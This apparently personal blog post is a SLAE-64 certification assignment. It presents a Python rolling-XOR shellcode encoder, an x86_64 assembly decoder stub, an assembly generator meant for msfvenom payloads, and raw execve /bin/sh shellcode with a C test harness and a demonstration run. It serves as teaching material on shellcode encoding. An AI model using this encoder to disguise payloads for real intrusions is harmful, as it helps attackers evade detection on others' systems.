Blog


Python3 Rolling XOR Encoder with X64 Decoder Stub

Aug 1, 2018 | 7 minutes read

Tags: python, assembly, slae-64, shellcode

This post is the fourth of seven that will comprise my attempt at the SecurityTube Linux Assembly Expert (SLAE-64) certification. Each post will correspond to seven assignments of varying difficulty. I decided to take SLAE-64 to shore up my knowledge of assembly and shellcoding before diving in to OSCE.

Assignment #4 Requirements


  • Create a custom shellcode encoder using any high-level language
  • Demonstrate use of the encoder with a decoder stub written in x86_64 assembly using execve /bin/sh payload

The XOR Operation

The SLAE-64 course walks through an example encoder that performs the xor operation on the byte 0xAA and each byte of the shellcode, producing an encoded payload. I enjoyed the example, and thought it would be fun to make a slightly more elegant version of what’s provided in the course for my fourth assignment. One interesting property of the xor operation is that if we xor two bytes, we can find either of those two bytes by performing a second xor with the result of the first xor and one of the original bytes. An example is shown below.

xor-operation

Rolling XOR

An example of a rolling xor is as follows. Suppose we have some shellcode made up of the bytes

0x11 0x2e 0x54 0x9d

The first byte is left as-is and becomes the first byte in the encoded payload. The second byte is encoded by xor’ing the second byte of the original shellcode with the first byte of the encoded payload:

0x11 xor 0x2e -> 0x3f

This becomes the second byte of the encoded payload. The third byte is encoded by xor’ing the third byte of the original shellcode with the second byte of the encoded payload:

0x3f xor 0x54 -> 0x6B

Finally, 0x6B, the third byte of the encoded payload, is xor’d with the last byte of the original shellcode. The final encoded payload is:

0x11 0x3f 0x6B 0xF6

Below is my implementation of a rolling xor written in Python.

 1def rolling_xor(shellcode: bytes, decode=False) -> bytes:
 2    """ Perform a rolling xor encoding scheme on `shellcode`.
 3
 4    :param shellcode: bytes object; data to be [en,de]coded
 5    :param decode: boolean, decrypt previously xor'd data
 6    :return: bytes object
 7    """
 8    shellcode = bytearray(shellcode)
 9
10    if decode:
11        shellcode.reverse()
12        encoded_payload = bytearray()
13
14        for i, byte in enumerate(shellcode):
15            if i == len(shellcode) - 1:
16                encoded_payload.append(shellcode[i])  # last byte doesn't need xor'd
17            else:
18                encoded_payload.append(shellcode[i] ^ shellcode[i + 1])
19
20        encoded_payload.reverse()
21    else:
22        encoded_payload = bytearray([shellcode.pop(0)])  # first byte left as is in the ciphertext
23
24        for i, byte in enumerate(shellcode):
25            encoded_payload.append(byte ^ encoded_payload[i])
26
27    return bytes(encoded_payload)

Here is what our execve of /bin/sh looks like after the rolling xor is applied.

Original:
0x48,0x31,0xc0,0x50,0x48,0x89,0xe2,0x48,0xbb,0x2f,0x62,0x69,0x6e,0x2f,0x2f,0x73,0x68,0x53,0x48,0x89,0xe7,0x50,0x57,0x48,0x89,0xe6,0x48,0x83,0xc0,0x3b,0x0f,0x05

Encoded:
0x48,0x79,0xb9,0xe9,0xa1,0x28,0xca,0x82,0x39,0x16,0x74,0x1d,0x73,0x5c,0x73,0x00,0x68,0x3b,0x73,0xfa,0x1d,0x4d,0x1a,0x52,0xdb,0x3d,0x75,0xf6,0x36,0x0d,0x02,0x07

Decoding

Now we’ll outline the steps to decode our encoded payload. First, the last byte of the encoded payload is xor’d with its preceding byte: 0xF6 xor 0x6B = 0x9d. This recovers the last byte of the original shellcode. This process is repeated for all the remaining bytes in the encoded payload except the first byte, which was not encoded. There are a couple of interesting observations about this algorithm. First, in order to determine the value of a specific byte in the original shellcode, it isn’t necessary to decode the entire message. For example, to determine the original value of the second byte, we can xor it with the preceding byte: 0x3F xor 0x11 = 0x2E. It is not necessary to decode the third and fourth bytes before jumping to this step.

The implementation of the decoder in python can be seen in lines 10-20 above. The logic to write the decoder stub in assembly is the same, but I took a slightly different approach, which can be seen below. In python, it’s simple to reverse the bytearray then basically run the same loop on a reversed string. In assembly, I just set rcx equal to the length of the shellcode - 1 and loop using rcx as my offset for indexing.

global _start

section .text
_start:
    jmp short get_address       ; jmp-call-pop for shellcode address

decoder:
    pop rdi                     ; address to encoded_shellcode
    push 31
    pop rcx                     ; rolling-xor requires one less xor instruction
    xor eax, eax                ; than the length of the shellcode

decode:
    mov eax, [rdi + rcx - 1]    ; first byte in xor (earlier of the two)
    xor byte [rdi + rcx], al    ; xor the byte above with the one that directly follows
    loop decode                 ; the decoder works backwards

jmp short encoded_shellcode     ; do the thing

get_address:
    call decoder
    encoded_shellcode: db 0x48,0x79,0xb9,0xe9,0xa1,0x28,0xca,0x82,0x39,0x16,0x74,0x1d,0x73,0x5c,0x73,0x0,0x68,0x3b,0x73,0xfa,0x1d,0x4d,0x1a,0x52,0xdb,0x3d,0x75,0xf6,0x36,0xd,0x2,0x7

Automation

I wasn’t keen on the idea of having to figure out the length of the shellcode each time that I wanted to change the bytes for the encoded_shellcode definition, so I added a .asm generator to the python script to handle that. Running the script below with some msfvenom generated shellcode will spit out the proper assembly, ready for linking and assembling.

import sys
import argparse
import textwrap
from pathlib import Path


def rolling_xor(shellcode: bytes, decode=False, **kwargs) -> bytes:
    """ Perform a rolling xor encoding scheme on `shellcode`.

    :param shellcode: bytes object; data to be [en,de]coded
    :param decode: boolean, decrypt previously xor'd data
    :return: bytes object
    """
    shellcode = bytearray(shellcode)

    if decode:
        shellcode.reverse()
        encoded_payload = bytearray()

        for i, byte in enumerate(shellcode):
            if i == len(shellcode) - 1:
                encoded_payload.append(shellcode[i])  # last byte doesn't need xor'd
            else:
                encoded_payload.append(shellcode[i] ^ shellcode[i + 1])

        encoded_payload.reverse()
    else:
        encoded_payload = bytearray([shellcode.pop(0)])  # first byte left as is in the ciphertext

        for i, byte in enumerate(shellcode):
            encoded_payload.append(byte ^ encoded_payload[i])

    return bytes(encoded_payload)


def print_assembly(shellcode: bytes, outfile: str, **kwargs) -> None:
    """ Print a complete decoder stub with shellcode ready for assembly and linking.

    :param shellcode: bytes object; used as shellcode in the assembly generated
    :param outfile: where to write the generated assemly, default: stdout
    :return: None
    """
    template = f"""\
    global _start

    section .text
    _start:
        jmp short get_address       ; jmp-call-pop for shellcode address

    decoder:
        pop rdi                     ; address to encoded_shellcode
        push {len(shellcode) - 1}
        pop rcx                     ; rolling-xor requires one less xor instruction
        xor eax, eax                ; than the length of the shellcode

    decode:
        mov eax, [rdi + rcx - 1]    ; first byte in xor (earlier of the two)
        xor byte [rdi + rcx], al    ; xor the byte above with the one that directly follows
        loop decode                 ; the decoder works backwards

    jmp short encoded_shellcode     ; do the thing

    get_address:
        call decoder
        encoded_shellcode: db {','.join(hex(x) for x in shellcode)}
    """

    if not outfile:
        outfile = sys.stdout
    else:
        outfile = open(outfile, 'w')

    print(textwrap.dedent(template), file=outfile)

    outfile.close()


if __name__ == '__main__':
    parser = argparse.ArgumentParser()

    parser.add_argument('-f', dest='infile', help='file to encode, expects filetype of data i.e. msfvenom ... -f raw', required=True)
    parser.add_argument('-o', dest='outfile', help='write assembly to file (default: STDOUT)')
    parser.add_argument('-d', dest='decode', default=False, action='store_true', help='Decode what is passed via -f or -s')

    args = parser.parse_args()

    shellcode = Path(args.infile).read_bytes()

    encoded_payload = rolling_xor(shellcode, args.decode)

    print_assembly(encoded_payload, args.outfile)

Below is a sample run of the assembly generated by the script.

epi@alt:~/slae-64-assignments/assignment-four$ python3 custom_encoder.py -f execve.raw -o xord-execve.asm
epi@alt:~/slae-64-assignments/assignment-four$ assemble xord-execve.asm
epi@alt:~/slae-64-assignments/assignment-four$ dump-shellcode xord-execve
\xeb\x11\x5f\x6a\x1f\x59\x31\xc0\x8b\x44\x0f\xff\x30\x04\x0f\xe2\xf7\xeb\x05\xe8\xea\xff\xff\xff\x48\x79\xb9\xe9\xa1\x28\xca\x82\x39\x16\x74\x1d\x73\x5c\x73\x00\x68\x3b\x73\xfa\x1d\x4d\x1a\x52\xdb\x3d\x75\xf6\x36\x0d\x02\x07
length of shellcode: 56
You have nulls, try again

In case you haven’t seen my .bashrc, below are two helper functions for transforming assembly to shellcode.

epi@alt:~/slae-64-assignments/assignment-four$ type -a assemble
assemble is a function
assemble ()
{
    name="${1}";
    base="$(basename ${name} .nasm)";
    base="$(basename ${base} .asm)";
    nasm -f elf64 "${name}" -o "${base}".o;
    ld "${base}".o -o "${base}"
}

epi@alt:~/slae-64-assignments/assignment-four$ type -a dump-shellcode
dump-shellcode is a function
dump-shellcode ()
{
    accum=0;
    sentry="No nulls found";
    for i in $(objdump -d "${1}" -M intel | grep "^ " | cut -f 2);
    do
        echo -n '\x'$i;
        accum=$(( accum + 1 ));
        if [[ "${i}" = "00" ]]; then
            sentry="You have nulls, try again";
        fi;
    done;
    echo && echo "length of shellcode: $accum";
    echo "${sentry}"
}

Then we add the generated shellcode to the shellcode skeleton as pictured below.

// gcc -fno-stack-protector -z execstack -o shellcode-skeleton shellcode-skeleton.c
#include <stdio.h>
#include <string.h>

unsigned char code[] = \
"\xeb\x11\x5f\x6a\x1f\x59\x31\xc0\x8b\x44\x0f\xff\x30\x04\x0f\xe2\xf7\xeb\x05\xe8\xea\xff\xff\xff\x48\x79\xb9\xe9\xa1\x28\xca\x82\x39\x16\x74\x1d\x73\x5c\x73\x00\x68\x3b\x73\xfa\x1d\x4d\x1a\x52\xdb\x3d\x75\xf6\x36\x0d\x02\x07";
int main() {
  printf("Shellcode length: %zu\n", strlen(code));
  int (*ret)() = (int(*)())code;
  ret();
}

Finally, after compiling and executing the shellcode skeleton, we get a new prompt, demonstrating the working execve.

epi@alt:~/slae-64-assignments/assignment-four$ gcc -fno-stack-protector -z execstack -o shellcode-skeleton shellcode-skeleton.c
epi@alt:~/slae-64-assignments/assignment-four$ ./shellcode-skeleton
Shellcode length: 39
$ whoami
epi
$

free(thispost);

Now we have a functional rolling xor encoder as well as the decoder stub in assembly. Also, anytime we want a new payload, we can generate one with msfvenom and be good to go almost immediately.


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert
Student ID: E64-1584
My SLAE-64 Assignments Repository


comments powered by Disqus